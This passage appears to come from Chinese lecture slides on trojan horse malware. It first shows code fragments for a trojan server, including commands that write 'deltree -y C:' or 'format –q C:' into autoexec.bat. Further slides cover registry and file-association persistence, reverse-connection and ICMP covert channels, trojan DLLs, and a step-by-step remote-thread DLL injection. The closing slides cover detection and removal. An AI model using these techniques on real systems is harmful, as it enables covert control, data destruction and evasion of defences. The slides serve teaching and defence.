– SendText( "Exit program!",pSocket );
– OnExit();
– }//退出木马程序
将要实现的功能,CMD 执行应用程序
!SHUT 退出木马
FILEGET 获得远端文件
EDITCONF 编辑配置文件
LIST 列目录
VIEW 察看文件内容
CDOPEN 关 CD
CDCLOSE 开 CD
REBOOT 重启远端机器
Server端功能 —— 修改配置
Autoexec.bat和 Config.sys
代码:
– _chmod("c:\\autoexec.bat",S_IREAD |
S_IWRITE);
– _chmod("c:\\config.sys",S_IREAD |
S_IWRITE);
– fwrite(content,sizeof(char),strlen(content),fp);
– //写入添加的语句,例如 deltree -y C:或者
format –q C:
Server端功能 —— 实现 list命令
CFileFind finder;
BOOL bWorking = finder.FindFile("*.*");
while (bWorking)
//循环得到下一层文件或目录
{
bWorking = finder.FindNextFile();
if ( finder.IsDots() || finder.IsDirectory() ){
strResult = "Dire,";
}else{
strResult = "File,";
}
strResult += finder.GetFileName();
strResult += "\n";
}
SendText( strResult,pSocket );
//返回 Return_Text变量的内容
Server端功能 —— 实现 View命令
int Read_Num=fread(temp_content,1,300,fp);
//从目标文件中读入前 300个字符
while(Read_Num==300)
{
strResult += (CString)temp_content;
//strResult的内容加上刚才的字符
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
//重复
};
Server端功能 —— 操作硬件
mciSendString( ―set cdaudio door open‖,
NULL,0,NULL) ;
//弹出光驱的托盘
mciSendString( "Set cdaudio door closed
wait",NULL,0,NULL) ;
//收入光驱的托盘
Server端功能 —— 远程 reboot
//Win9x重启
ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
//操作系统是 WinNt
OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);
LookupPrivilegeValue(NULL,
SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,
0,(PTOKEN_PRIVILEGES)NULL,0);
ExitWindowsEx(EWX_REBOOT | EWX_FORCE,0);
Client端功能
客户端的任务仅仅是发送命令和接收反馈信息而以。
首先,在 Visual Studio环境下新建一个基于
Dialog的应用程序;
接着,在这个窗体上放置一些控件。这些控件用于输入 IP,Port,命令以及执行某些动作。
最后,添加 CCommandSocket类(其基类是
CSocket类)到当前工程,该类用于和 Server端通讯。
发送命令的代码如下:
m_ptrComSocket->Send((void *)m_msg,
m_msg.GetLength() );
从服务器端获取反馈信息
ReceiveResult(m_msg);
断开 Socket通讯的代码如下:
m_ptrComSocket->Close();
代码及演示
下列问题就值得仔细考虑:
– 首先是程序的大小问题;
– 还有启动方式的选择;
– 木马的功能还可以大大扩充;
– 杀掉防火墙和杀毒软件;
– 针对来自反汇编工具的威胁;
– 自动卸载等。
3 木马程序的关键技术
木马程序技术发展的 4个阶段:
– 第一阶段主要实现简单的密码窃取、发送等功能,没有什么特别之处。
– 第二阶段在技术上有了很大的进步,主要体现在隐藏、控制等方面。国内冰河可以说是这个阶段的典型代表之一。
– 第三阶段在数据传递技术上做了不小的改进,出现了基于 ICMP协议的木马,这种木马利用 ICMP协议的畸形报文传递数据,增加了查杀的难度。
– 第四阶段在进程隐藏方面做了非常大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术嵌入 DLL线程,或者挂接
PSAPI实现木马程序的隐藏。即使在 Windows NT/2K下,这些技术都达到了良好的隐藏效果。
– 相信,第五代木马的技术更加先进。
Socket技术客户机请求响应进程通讯设施服务器请求响应服务器
socke t( )
bind( )
r e a df r om( )
sendto( )
阻塞,等待客户数据处理服务请求
socke t( )
bind( )
sendto( )
r e a df r om( )
客户机服务请求服务应答无连接套接 应用程序时序图
c los e ( ) c los e ( )
服务器
socket( )
bi nd( )
li st en( )
阻塞,等待客户数据处理服务请求
socket( )
connec t( )
write( )
客户机请求数据应答数据面向连接套接 应用程序时序图
re ad( )
re ad( )
ac ce pt ( )
write( )
建立连接
close( ) close( )
重要的系统文件
win.ini文件中的启动加载项,[windwos]段中有如下加载项:
– run=
– Load=
system.ini中的启动加载项:在 [BOOT]子项中的,Shell‖项:
– shell=
修改注册表
HKEY_CLASSES_ROOT:此处存储的信息可以确保当使用 Windows资源管理器打开文件时,将使用正确的应用程序打开对应的文件类型。
HKEY_CURRENT_USER:存放当前登录用户的有关信息。用户文件夹、屏幕颜色和“控制面板”设置存储在此处。该信息被称为用户配置文件。
HKEY_LOCAL_MACHINE:包含针对该计算机(对于任何用户)的配置信息。
HKEY_USERS:存放计算机上所有用户的配置文件。
HKEY_CURRENT_CONFIG:包含本地计算机在系统启动时所用的硬件配置文件信息。
HKEY_DYN_DATA:记录系统运行时刻的状态。
(Run),
(RunOnce),
(RunOnceEx),
(RunServices),
(RunServicesOnce)
20多个 API函数修改文件关联
当你打开了一个已修改了打开关联的文件时,木马也就开始了它的运作。
选择文件格式中的“打开”、“编辑”、
“打印”项目。
例如冰河木马病毒
– [HKEY_CLASSES_ROOT\txtfile\shell\open\co
mmand]中的键值,c:\windows\notepad.exe
%1‖,改为,sysexplr.exe %1‖。
远程屏幕抓取
如果键盘和鼠标事件记录不能满意时,
需要抓取被控制端屏幕,形成一个位图文件,然后把该文件发送到控制端计算机显示出来。
输入设备控制
通过网络控制目标机的鼠标和键盘,以达到模拟鼠标和键盘的功能。
使用技术,Keybd_event,mouse_event
//模拟 A键按键过程
keybd_event(65,0,0,0);
keybd_event(65,0,KEYEVENTF_KEYUP,0
);
//模拟按下左键
GetCursorPos(&lpPoint);
SetCursorPos(lpPoint.x,lpPoint.y);
mouse_event(MOUSEEVENTF_LEFTDO
WN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,
0,0,0,0);
远程文件管理
操作目标机文件的方式通常有两种:
– 一种是共享目标机的硬盘,进行任意的文件操作;
– 另一种是把自己的计算机配置为 FTP( File Transfer
Protocol,文件传输协议)服务器。
使用函数
– CInternetSession
– GetFtpConnection
– GetFile
– PutFile
共享硬盘数据
Windows 2000/NT/XP,
[HKEY_LOCAL_MACHINE\SYSTEM\Control
Set001\Services\lanmanserver\Shares]
– Windows 9x:
[HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Network\LanMan]
– "Flags" //类型
– "Path" //目录
– "Remark" //备注
– "Type"
– "Parm1enc"
– "Parm2enc"
隐藏技术 ——反弹式木马技术
定义:
– 利用防火墙对内部发起的连接请求无条件信任的特点,假冒是系统的合法网络请求来取得对外的端口,再通过某些方式连接到木马的客户端,从而窃取用户计算机的资料同时遥控计算机本身。
反弹式木马访问客户端的 80端口,防火墙无法限制。
例如,“网络神偷”
防范:使用个人防火墙,其采用独特的“内墙”方式应用程序访问网络规则。
隐藏技术 ——用 ICMP方法隐藏连接
TCP UDP木马的弱点:等待和运行的过程中,始终有一个和外界联系的端口打开着。
原理:
– 由于 ICMP报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好机会。
– 木马将自己伪装成一个 Ping的进程,系统就会将
ICMP_ECHOREPLY( Ping的回包)的监听、处理权交给木马进程。
– 一旦事先约定好的 ICMP_ECHOREPLY包出现(可以判断包大小、
ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。
– 即使防火墙过滤 ICMP报文,一般也不过率 ICMP_ECHOREPLY包,
否则就不能进行 Ping操作了。因此,具有对于防火墙和网关的穿透能力。
隐藏技术 ——隐藏端口
为了隐藏端口,采用两种思路:寄生和潜伏
寄生就是找一个已经打开的端口,寄生其上,平时只是监听,遇到特殊的指令就进行解释执行。
潜伏是说使用 IP协议族中的其它协议而不是 TCP
或 UDP来进行通讯,从而瞒过 Netstat和端口扫描软件。一种比较常见的潜伏手段是使用 ICMP协议。
其他方法:对网卡或 Modem进行底层的编程。
隐藏技术 ——NT进程的隐藏
进程 和 端口 联系在一起的方法很常见。因此,需要隐藏进程来达到隐藏木马的目的。
实现进程隐藏有两种思路:
– 第一是让系统管理员看不见(或者视而不见)
你的进程;
– 第二是不使用进程。
能否使用第一种方式?
在 Windows中有多种方法能够看到进程的存在:
– PSAPI( Process Status API);
– PDH( Performance Data Helper);
– ToolHelp API。
如果我们能够欺骗用户和入侵检测软件用来查看进程的函数(例如截获相应的 API调用,替换返回的数据),我们就完全能实现进程隐藏。
但是存在两个难题:
– 一来我们并不知道用户和入侵软件使用的是什么方法来查看进程 列表;
– 二来如果我们有权限和技术实现这样的欺骗,我们就一定能使用其它的方法更容易的实现进程的隐藏。
使用第二种方式最流行。
DLL是 Windows系统的另一种“可执行文件”。 DLL文件是 Windows的基础,因为所有的 API函数都是在 DLL中实现的。 DLL文件没有程序逻辑,是由多个功能函数构成,
它并不能独立运行,一般都是由进程加载并调用的。
假设我们编写了一个木马 DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马 DLL,如果那个进程是可信进程,(例如资源管理器 Explorer.exe,没人会怀疑它是木马吧?)那么我们编写的 DLL作为那个进程的一部分,
也将成为被信赖的一员而为所欲为。
用 DLL实现木马功能用 DLL实现木马功能,然后,用其他程序启动该 DLL.
有三种方式:
– 最简单的方式 —— RUNDLL32
– 特洛伊 DLL
– 线程插入技术
最简单的方式 —— RUNDLL32
– Rundll32 DllFileName FuncName
– Rundll32.exe MyDll.dll MyFunc
– 程序演示 (参见,..\othercode\testdll)
比较高级的方式-特洛伊 DLL
– 特洛伊 DLL(欺骗 DLL)的工作原理是使用欺骗 DLL替换常用的
DLL文件,通过函数转发器将正常的调用转发给原 DLL,截获并处理特定的消息。
函数转发器 forward的认识。
– Visual Studio 7命令提示符 >dumpBin -Exports
c:\windows\system32\Kernel32.dll | more
– 演示
程序实现
– // Function forwarders to functions in DllWork
– #pragma comment(linker,
"/export:ForwardFunc=Kernel32.HeapCreate")
– 演示(参见,..\othercode\testdll源代码)
实现描述
– 我们知道 WINDOWS的 Socket1.x的函数都是存放在 wsock32.dll中的,那么我们自己写一个
wsock32.dll文件,替换掉原先的 wsock32.dll
(将原先的 DLL文件重命名为 wsockold.dll)我们的 wsock32.dll只做两件事,一是如果遇到不认识的调用,就直接转发给 wsockold.dll(使用函数转发器 forward);二是遇到特殊的请求
(事先约定的)就解码并处理。
特洛伊 DLL的弱点:
– system32目录下有一个 dllcache的目录,这个目录中存放着大量的 DLL文件,一旦操作系统发现被保护的 DLL
文件被篡改(数字签名技术),它就会自动从 dllcache
中恢复这个文件。
– 有些方法可以绕过 dllcache的保护:
先更改 dllcache目录中的备份再修改 DLL文件
利用 KnownDLLs键值更改 DLL的默认启动路径等
– 同时特洛伊 DLL方法本身也有一些漏洞(例如修复安装、
安装补丁、升级系统、检查数字签名等方法都有可能导致特洛伊 DLL失效),所以这个方法也不能算是 DLL
木马的最优选择。
最高级方式 —— 动态嵌入技术
– DLL木马的最高境界是动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。 多种嵌入方式:窗口 Hook、挂接 API、远程线程。
隐藏技术 ——远程线程技术
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。
通过 CreateRemoteThread也同样可以在另一个进程内创建新线程,新线程同样可以共享远程进程的地址空间。
HANDLE CreateRemoteThread(
– HANDLE hProcess,
– PSECURITY_ATTRIBUTES psa,
– DWORD dwStackSize,
– PTHREAD_START_ROUTINE pfnStartAddr,
– PVOID pvParam,
– DWORD fdwCreate,
– PDWORD pdwThreadId);
一个地址
DWORD WINAPI ThreadFunc(PVOID
pvParam);
HINSTANCE LoadLibrary(PCTSTR
pszLibFile);
两个函数非常类似
需解决的问题:
– 第一个问题,获取 LoadLibrary的实际地址。
– PTHREAD_START_ROUTINE pfnThreadRtn =
(PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32"
)),"LoadLibraryA");
– 第二个问题,把 D L L路径名字符串放入宿主进程。使用:
VirtualAllocEx,VirtualFreeEx,ReadProcessMemory,
WriteProcessMemory 等函数。
操作步骤做一个归纳:
1) 使用 Vi r t u a l A l l o c E x函数,分配远程进程的地址空间中的内存。
2) 使用 Wr i t e P r o c e s s M e m o r y函数,将 D L L的路径名拷贝到第一个步骤中已经分配的内存中。
3) 使用 G e t P r o c A d d r e s s函数,获取 L o a d L i b r
a r y A或 L o a d L i b r a t y W函数的实地址(在 K e r n e
l 3 2,d l l中)。
4) 使用 C r e a t e R e m o t e T h r e a d函数,在远程进程中创建一个线程,它调用正确的 L o a d L i b r a r y函数,
为它传递第一个步骤中分配的内存的地址。
5) 使用 Vi r t u a l F r e e E x函数,释放第一个步骤中分配的内存。
6) 使用 G e t P r o c A d d r e s s函数,获得 F r e
e L i b r a r y函数的实地址(在 K e r n e l 3 2,d l
l中)。
7) 使用 C r e a t e R e m o t e T h r e a d函数,在远程进程中创建一个线程,它调用 F r e e L i b r a
r y函数,传递远程 D L L的 H I N S TA N C E。
看代码及演示(参见,,.\ othercode\injlib 和
Imgwalk)
服务器端程序的包装与加密
一个试验,
text.txt,其内容为,This is for test!!‖
– C:\>type text.txt>>Test.exe
– 运行 Test.exe
– 演示(参见,..\othercoe\bindexe)
木马会把一些配置信息放在 exe文件的最后。
例如,冰河木马
4 木马攻击的方法及相关经验
1 木马病毒的常用骗术
2 全面防治木马病毒
3 几种常见木马病毒的杀除方法
4 已知木马病毒的端口列表木马病毒的常用骗术
1.修改批处理
– Autoexec.bat(自动批处理,在引导系统时执行 )
– Winstart.bat(在启动 GUI图形界面环境时执行 )
– Dosstart.bat(在进入 MS-DOS方式时执行 )
2.修改系统配置
– System.ini
– Win.ini
3.借助自动运行功能
– 根目录下新建一个 Autorun.inf
– [autorun]
– open=Notepad.exe
4.通过注册表中的 Run来启动
5.通过文件关联启动
6.通过 API HOOK启动
– 利用经常使用的 API启动木马
7.通过 VXD启动
– 写成 Vxd并写入 [HKEY_
LOCAL_MACHINE\System\CurrentControlSet\Servic
es\VxD]
8.通过浏览网页启动
– 利用 MIME的漏洞。
9.利用 Java applet
10.利用系统自动运行的程序
– 例如,ScanDisk等程序,在一定情况下,系统会自动启动它们。
全面防治木马病毒
1 木马中毒现象
2 发现和杀除木马的方法
– 进程 /内存模块查看器
在 Windows下查看进程 /内存模块的方法很多,有 PSAPI,PDH和 ToolHelper
API。
http://www.patching.net/shotgun/ps.zip
– 端口扫描(端口进程关联软件)
关联端口和进程的软件也是重要的工具之一,虽然 DLL木马隐藏在其他进程中,
但是多多少少会有一些异常,功能强大的 Fport就是一个优秀的进程端口关联软件,可以在以下地址下载到:
http://www.foundstone.com/rdlabs/termsofuse.php?filename=FPortNG.zip
– 嗅探器
嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的 IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照 RFC文档对协议进行解码。
代码及头文件,http://www.patching.net/shotgun/GUNiffer.zip
编译后的程序,http://www.patching.net/shotgun/GUNiffer.exe
– 检查及保护注册表
http://www.nttoolbox.com/public/tools/ntregmon.zip
– 查找文件
http://www.nttoolbox.com/public/tools/ntfilmon.zip
– 杀病毒软件
– 系统文件检查器
3 木马的预防措施
– 1,永远不要执行任何来历不明的软件或程序
– 2,永远不要相信你的邮箱不会收到垃圾和病毒
– 3,永远不要因为对方是你的好朋友就轻易执行他发过来的软件或程序。
– 4,千万不要随便留下你的个人资料。
– 5,千万不要轻易相信网络上认识的新朋友。
– 6,永远不要随便说别人的坏话,防止别人用木马报复你。
几种常见木马病毒的杀除方法
一,BO2000
– 查看注册表
[ HEKY_LOCAL_MACHINE\Software\Micros
oft\Windows\CurrentVersion\RunServicse]中是否存在 Umgr32.exe的键值。有则将其删除。
重新启动电脑,并将 \Windows\System中的
Umgr32.exe删除。
二,NetSpy(网络精灵)
国产木马,默认连接端口为 7306。在该版本中新添加了注册表编辑功能和浏览器监控功能,客户端现在可以不用 NetMonitor,通过 IE
或 Navigate就可以进行远程监控了。其强大之处丝毫不逊色于冰河和
BO2000!服务端程序被执行后,会在 C:\Windows\system目录下生成 netspy.exe文件。同时在注册表
[ HKEY_LOCAL_MACHINE\software\microsoft\windows\CurrentVe
rsion\Run]下建立键值 C:\windows\system\netspy.exe,用于在系统启动时自动加载运行。
清除方法:
1.进入 dos,在 C:\windows\system\目录下输入以下命令,del
netspy.exe 回车;
2.进入注册表
HKEY_LOCAL_MACHINE\Software\microsoft\windows\CurrentVersi
on\Run\,删除 Netspy.exe和 Spynotify.exe的键值即可安全清除
Netspy。
三,Happy99
此程序运行时,会在打开一个名为,Happy new year
1999‖的窗口,并出现美丽的烟花,它会复制到 Windows
主文件夹的 System目录下并更名为 Ska.exe,同时创建文件 Ska.dll,修改 Wsock32.dll,将修改前的文件备份为
Wsock32.ska,并修改注册表。另外,用户可以检查注册
[ HEKY_LOCAL_MACHINE\Softwre\Microsoft\Windows
\CurrentVersion\RunOnce]中有无键值 Ska.exe。有则将其删除,并删除 \Windows\System中的 Ska.exe和 Ska.dll
两个文件,将 Wsock32.ska更名为 Wscok32.dll。
四、冰河冰河标准版的服务器端程序为 G-server.exe,客户端程序为 G-client.exe,
默认连接端口为 7626。一旦运行 G-server,那么该程序就会在
C:\Windows\system目录下生成 Kernel32.exe和 sysexplr.exe并删除自身。
Kernel32.exe在系统启动时自动加载运行,sysexplr.exe和 TXT文件关联。即使你删除了 Kernel32.exe,但只要你打开 TXT文件,sysexplr.exe就会被激活,
它将再次生成 Kernel32.exe,于是冰河又回来了!这就是冰河屡删不止的原因。
清除方法:
用纯 DOS启动进入系统(以防木马的自动恢复),删除你安装的
windows下的 system\kernel32.exe和 system\sysexplr.exe两个木马文件,注意如果系统提示你不能删除它们,则因为木马程序自动设置了这两个文件的属性,我们只需要先改掉它们的隐藏、只读属性,就可以删除。
– 删除后,进入 windows系统进入注册表中,找到
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
和
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Services]两项,然后查找 kernel32.exe和 sysexplr.exe两个键值并删除。再找到
[HKEY_CLASSES_ROOT\txtfile\open\command],看在键值中是不是已改为
,sysexplr.exe%1‖,如是改回,notepad.exe %1‖。
五,Nethief(网络神偷 )
这是反弹端口型木马的典型代表。大多数的防火墙对于由外面连入本机的连接往往会进行非常严格的过滤,但是对于由本机连出的连接却疏于防范(当然也有的防火墙两方面都很严格)。于是,与一般的木马相反,反弹端口型木马的服务端 (被控制端 )使用主动端口,客户端 (控制端 )使用被动端口,当要建立连接时,由客户端通过 FTP
主页空间告诉服务端:“现在开始连接我吧!”,并进入监听状态,服务端收到通知后,就会开始连接客户端。为了隐蔽起见,客户端的监听端口一般开在 80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似,TCP服务端的 IP地址,1026 客户端的 IP地址,80 ESTABLISHED‖的情况,稍微疏忽一点你就会以为是自己在浏览网页。防火墙也会如此认为,大概没有哪个防火墙会不给用户向外连接 80端口吧。
清除方法:
1.网络神偷会在注册表
[ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Win
dows\CurrentVersion\Run]下建立键值,internet‖,其值为 "internet.exe /s",将键值删除;
2.删除其自启动程序
C:\WINDOWS\SYSTEM\INTERNET.EXE。
已知木马病毒的端口列表木马名称 端口 木马名称 端口
BO jammerkillahV 121 Remote Grab 7000
NukeNabber 139 NetMonitor 7300
Hackers Paradise 456 NetMonitor 1.x 7301
Stealth Spy 555 NetMonitor 2.x 7306
Phase0 555 NetMonitor 3.x 7307
NeTadmin 555 NetMonitor 4.x 7308
Satanz Backdoor 666 Qaz 7597
Attack FTP 666 ICQKiller 7789
AIMSpy 777 InCommand 9400
木马检测及清除实验
示例程序利用开放主机端口号和各个木马程序使用端口的对应关系,判断主机是否已中木马,中了何种木马(目前能查找一百余种),并能根据所中木马的类型,对其中的二十几种进行杀灭。此外,用户可自行追加数据库,增加能查找病毒的种类。
开始读取保存开放端口文件,判断中何木马是否能打开木马数据库文件
No
Yes
结束调用 netstat获得开放的端口,结果保存到文件此木马能否被杀灭调用函数杀除木马
Yes
No
关键数据结构本程序的数据文件 Trojan.txt使用了 TROJAN结构来保存木马的名称,对应打开端口号和查杀代码字段名称字段类型 字段说明
nPort 数字 该木马所使用的端口号。
TroName 字符串 该木马的名称。
nKillno 数字 该木马的查杀号,杀除函数调用。
pnext 指针 用于构成链表结构指针木马名称 木马使用特征端口号 查杀号在 Trojan.txt中,每行为一个木马项,格式为
使用系统调用查看有那些端口开放:
netstat -a >c:\\log.txt
返回格式
– Proto Local Address Foreign Address State
TCP truewar:epmap 0.0.0.0:0 LISTENING
TCP truewar:1025 0.0.0.0:0 LISTENING
TCP truewar:1028 0.0.0.0:0 LISTENING
TCP truewar:5000 0.0.0.0:0 LISTENING
UDP truewar:isakmp *:*
UDP truewar:1900 *:*
该方法存在问题:
无法应对隐藏端口消除木马进程的步骤
第一步:提升权限
– 提升本程序权限得目的是,使其能够杀除木马进程,主要是通过 AdjustTokenPrivileges函数来完成。
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle,//用于修改权限的句炳
BOOL DisableAllPrivileges,//修改方式
PTOKEN_PRIVILEGES NewState,//修改后的值
DWORD BufferLength,//修改值的长度
PTOKEN_PRIVILEGES PreviousState,//修改前状态
PDWORD ReturnLength //返回长度
);
第二步:枚举进程,获得木马进程的进程号码。
– 首先通过 EnumProcesses函数来枚举系统中所有运行的进程。
– 当获得所有进程的进程号以后,枚举每一个进程所包含的模块,这里使用
EnumProcessModules函数:
– 通过返回的模块信息,我们可以利用
GetModuleFileNameEx来取得此模块调用文件的文件名。
第三步:终止木马进程。如果取得文件名和木马的名称一样,则调用
TerminateProcess函数终止木马进程。
第四步:清除木马文件。在终止木马的进程以后,就可以删除木马文件,删除注册表项和删除文件中的自启动项的操作了,
其中涉及到几个注册表操作函数。
RegOpenKeyEx:用来打开注册表项
RegQueryValueEx:用来查询特定注册表项中的键值
RegDeleteValue:当我们查找到的键名和其含有的键值与木马添加的内容一致时,就可以调用该函数删除此键
对于木马文件,调用 DeleteFile函数来删除。
代码( VC)及程序演示